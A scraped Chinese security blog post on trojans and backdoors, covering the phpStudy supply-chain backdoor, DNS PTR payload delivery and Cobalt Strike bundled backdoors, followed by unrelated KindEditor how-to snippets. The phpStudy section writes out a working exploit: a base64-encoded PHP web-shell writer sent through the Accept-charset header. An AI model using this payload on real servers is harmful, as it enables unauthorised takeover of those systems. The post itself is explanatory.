【Web安全】木马与后门

article/2025/9/24 11:14:19

一、认识木马与后门

后门程序一般是指那些绕过安全性控制而获取对程序或系统访问权的程序方法。在软件的开发阶段,程序员常常会在软件内创建后门程序以便可以修改程序设计中的缺陷。但是,如果这些后门被其他人知道,或是在发布软件之前没有删除后门程序,那么它就成了安全风险,容易被黑客当成漏洞进行攻击。

木马则是入侵者利用网络服务的小漏洞,进行扩展,把小漏洞做成了一个后门,从而“大大方方”进入防护措施后面,进行网络入侵行为。

本着不断学习和探索的态度,这里只是列举一些木马和后门,在安全情势严峻的条件下,之后我们势必会学习到更多的后门和后门案例。如果您在很久之后能读到我的这篇文章,请不要停止学习,可前往此文章所在专栏下,寻找【木马】或【后门】的文章。感谢!

二、木马与后门

1.phpStudy后门

涉及版本:phpstudy 2016 php5.4 和 phpstudy2018 php-5.2.17 和php-5.4.45 

后门来由:攻击者通过在原无后门的软件中植入后门,并进行发布。当用户下载篡改后的phpStudy后,就变成了受害者,沦为肉鸡。(听起来就像钓鱼,这种事在移动安全场景中更常见呢)后门代码存在于\ext\phpxmlrpc.dll 模块中 phpStudy2016 和 phpStudy2018自带 php-5.2.17、 php-5.4.45 phpStudy2016 路径 php\php-5.2.17\ext\phpxmlrpc.dll php\php-5.4.45\ext\phpxmlrpc.dll、phpStudy2018 路径 PHPTutorial\php\php-5.2.17\ext\phpxmlrpc.dll、PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll

漏洞证明:

1.安装并启动phpstudy2016

爆木马,咱先不管它,哈哈

2.查看得知此时开启phpstudy的机器ip为10.163.0.49,现在访问10.163.0.49/index.php

将一句话木马system('echo ^<?php @eval($_POST["shell"])?^>>PHPTutorial\WWW\shell.php');,base64编码后,添加get请求键值对Accept-charset:c3lzdGVtKCdlY2hvIF48P3BocCBAZXZhbCgkX1BPU1RbInNoZWxsIl0pP14+PlBIUFR1dG9yaWFsXFdXV1xzaGVsbC5waHAnKTs=

此时,一句话木马写入了服务器,用菜刀连一下即可控制服务器:

总结一下本次的后门事件,黑客伪造了一个看似安全的软件,在其中安插了后门,通过正常访问首页的字段中插入指定操作的base64,进而控制使用phpstudy便捷搭建起来的服务器。

嗯,技术虽高,心比较毒,不宜学习。

2.DNS后门

https://www.freebuf.com/articles/network/185324.html

DNS中的PTR记录可以存放几乎任何我们想要的东西,接下来的要说DNS后门的利用的设计思路。我们可以将payload放在PTR记录中,做好IP和域名的映射。只要在被攻击者主机上用DNS协议反向解析这个IP ,payload就会被接收。最重要的一点在于,大部分的防火墙、入侵检测系统和态势感知系统并不会审计DNS协议,所以这段流量几乎是不会被拦截的;并且这段paylaod并不会被保存在文件中,而是存在内存里,也可以绕过本地杀软的查杀。

3.利用CobaltStrike捆绑后门

CobaltStrike是渗透测试中常用的一个后渗透工具,它可以快速地生成后门并通过其控制目标主机。其中,捆绑型后门是攻击者较为喜欢的一种后门,因为其具有较好的隐蔽性及免杀效果。

安装可以参考:https://www.dazhuanlan.com/2019/12/15/5df63c6420716/ ,如果系统版本不同,百度一下就可以。资源可以在下方【我的资源】进行下载。

首先先在一台机器上,开启CS服务器:

此时在mac上(啥都行)开启客户端:

关于细致的学习和使用,在后面我们仔细说。

使用cs和msf配合,可以打造各种穿透力强的木马,从而成为自己进入“广阔世界”的后门。

 

这篇文章就到这儿,下回再见。


http://chatgpt.dhexx.cn/article/U2m2JwDt.shtml

相关文章

kindeditor上传图片宽度自适应

目前大多数情况下编辑器上传的图片都是在手机端显示&#xff0c;因此默认设置为宽度100%显示&#xff0c;避免图片显示的大大小小不好看。 目前使用的kindeditor版本为4.0.5。 打开kindeditor.js文件&#xff0c;拉到3116行insertimage方法内&#xff0c;注释掉设置宽度的3行代…

Kindeditor上传图片报错

使用Kindeditor编辑器上传图片时报如下错误&#xff0c;系统找不到LitJson名称空间 而实际上LitJson名称空间存在&#xff0c;LitJson.dll程序集存在于Bin目录中&#xff0c;网站目录如下 此时只需调整Bin目录所属位置即可 将Bin目录从EngTra文件夹移出&#xff0c;使之与EngTr…

KindEditor上传图片word

由于工作需要必须将word文档内容粘贴到编辑器中使用 但发现word中的图片粘贴后变成了file:///xxxx.jpg这种内容&#xff0c;如果上传到服务器后其他人也访问不了&#xff0c;网上找了很多编辑器发现没有一个能直接解决这个问题 考虑到自己除了工作其他时间基本上不使用window…

使用KindEditor实现图片上传、提交文字数据

KindEditor 是一套开源的 HTML 可视化编辑器&#xff0c;主要用于让用户在网站上获得所见即 所得编辑效果&#xff0c;兼容 IE、Firefox、Chrome、Safari、Opera 等主流浏览器。 KindEditor 使用 JavaScript 编写&#xff0c;可以无缝的于 Java、.NET、PHP、ASP 等程序接合。…

kindeditor 上传图片后端成功了,web显示上传失败 ,已解决

别人是什么都懂&#xff0c;然后写上代码教大家怎么做&#xff0c;而我只是一个被自己蠢哭的啥都不会的yang 今天我就来告诉大家&#xff0c;被自己蠢哭是啥意思 springboot实现图片上传&#xff0c;我以前不知道原来是有kindeditor这个html在线编辑器 大概长这样&#xff0c…

springboot中kindeditor 上传图片及其富文本的使用

话不多少&#xff0c;直接进入话题。 首先需要在前端页面中引入kindeditor 库 <script src"../js/kindeditor-all.js"></script>标注黄色的是重点&#xff0c;必须引入 其次写前端代码,注意我这个前端代码是springboot推荐的themleaf写的&#xff0c;其…

kindEditor的上传图片点击没反应,bug修复

基于layui的bug的层级问题 修改kindeditor.js中的811213全部替换为19892000 811212替换为19891999 811214替换为19892001 811211替换为19891998 基于电脑的显示问题x&#xff0c;y的坐标没有取整&#xff0c;有小数点不识别的问题 修改kindeditor.js中x&#xff0c;y的取整&am…

kindeditor 上传图片失败问题总结

1.近段时间一直在处理kindeditor上传图片失败的问题&#xff0c;前期一直以为是前端的问题&#xff0c;利用谷歌控制台&#xff0c;打断点&#xff0c;修改方法&#xff0c;一直都找不到解决方案&#xff0c;直到查看服务器配置&#xff0c;才发现&#xff1a; WEB 1号服务器 /…

KindEditor上传图片和修改图片

1.首先就是下载KindEditor&#xff08;这里是官网的地址&#xff09; 2. 部署编辑器 解压 kindeditor-x.x.x.zip 文件&#xff0c;将所有文件上传到您的网站程序目录里&#xff0c;例如&#xff1a;http://您的域名/editor/ Note 您可以根据需求删除以下目录后上传到服务器。…

kindeditor php 上传错误,kindeditor 上传图片失败,该怎么解决

本帖最后由 nxgg8 于 2014-05-29 12:44:04 编辑 编辑器版本&#xff1a;KindEditor 4.1.10 php框架&#xff1a;ThinkPHP3.2.2 这是html页面中引用编辑器配置 上传图片的时候出问题,不管是单张图片&#xff0c;还是批量。都会提示以下信息&#xff0c;返回的图片路径是正确的&a…

Kindeditor的简单使用以及图片上传

详细的笔者也不是特别懂&#xff0c;但是基本的使用还是会的 首先到官网下载相应的插件http://kindeditor.net/down.php&#xff0c;下载完的文件打开后是这样的&#xff0c;看着有点多 但是我们只取出需要的&#xff0c;只有这么一点&#xff0c;复制到项目下&#xff0c;取名…

KindEditor上传图片及使用

本文为原创&#xff0c;只为互相学习&#xff01; 主页:写程序的小王叔叔的博客欢迎来访&#x1f440; 支持:点赞收藏关注 社区:JAVA全栈进阶学习社区欢迎加入​​​​​​​ 编辑器使用 1&#xff09;官网&#xff1a;在线HTML编辑器 2&#xff09;使用 如果在编辑器中&#…

KindEditor上传本地图片

自己动手配置了一下KindEditor文本编辑器上传本地图片的功能&#xff0c;不需要动手写action&#xff0c;相关详细配置和代码如下。 我用的是KindEditor 4.1.10的版本&#xff0c;需要用到的童鞋去下载对应的版本。 1.↓↓↓这个插件里面需要手动配置的两个重要的jsp文件。 …

kindeditor4.1.10图片上传配置及使用说明

1效果展示 1.1 点击图片上传按钮 1.2 弹出选择框,可以从已上传的图片中选择上传,也可以从本地上传。 1.3选择从图片空间上传,文件夹模式浏览所有已上传的图片 1.4从本地选择图片上传 1.5上传效果 1.6 上传路径: WebRoot/upload/image 2-1:kindeditor-4.1.10版本插件 2-2:…

onpaste事件的浅谈

今天看书的时候&#xff0c;偶然看到onpaste的这个属性所以记录下来&#xff0c;为以后查阅而用&#xff1a; 具体的用法是<input type“text” οnpaste"function ***"/>&#xff0c;标签只是用来做说明并不是非得是input标签 虽然是触发的条件是&#xff1…

手机html粘贴事件,详解浏览器中的粘贴事件 paste onpaste 事件

在最新的H5 API里已经有了对粘贴事件的支持, 事件名为paste, 平时用的较少,但最近想做一个粘贴板管理器,于是就调研了一下这个粘贴,复制事件. 那么调研的第一步是什么那? 当然是百度了,但高手都不百度,直接控制台调试 创建一个id为editor的文本域, 为其添加一个paste事件的…

onkeyup事件,onpaste事件,完成实时表单验证

先上效果图&#xff1a; input框&#xff0c;用户输入值的方式就两种&#xff0c;一种是键盘输入&#xff0c;一种是鼠标粘贴。onkeyup事件可以在键盘输入的时候绑定事件&#xff0c;onpaste"return false"&#xff0c;设置不允许粘贴。 onkeyup进行表单验证的优…

利用JavaScript从剪贴板获取图片并上传服务器

1、参考&#xff1a; 使用 JavaScript File API 实现文件上传FileReader.readAsDataURL()基于Servlet3的文件上传中的示例2&#xff1a;基于JQuery的单文件上传 2、onpaste 剪贴板事件 onpaste 事件在用户向元素中粘贴文本时触发。有三种方式可以在元素中粘贴内容&#xff1…

Internet协议的安全性

网际层 安全问题 1.IP数据报在传递过程中被窃取 措施&#xff1a;读ip数据报进行加密 2.数据净荷可能被截取后修改 措施&#xff1a;对ip数据净荷进行完整性检测 3. 攻击者发送伪造源地址数据包欺骗接收者&#xff0c;也称为ip欺骗 措施&#xff1a;对数据包的源地址鉴别 4. A…

winget InternetOpenUrl() failed. 0x80072f7d

今天使用 winget 安装东西的时候提示&#xff1a; 尝试更新源时失败&#xff1a; winget 执行此命令时发生意外错误&#xff1a; InternetOpenUrl() failed. 0x80072f7d : unknown error对于我而言是因为其他原因关闭了 tls 1.2&#xff0c;在控制面板->网络和 Internet-&g…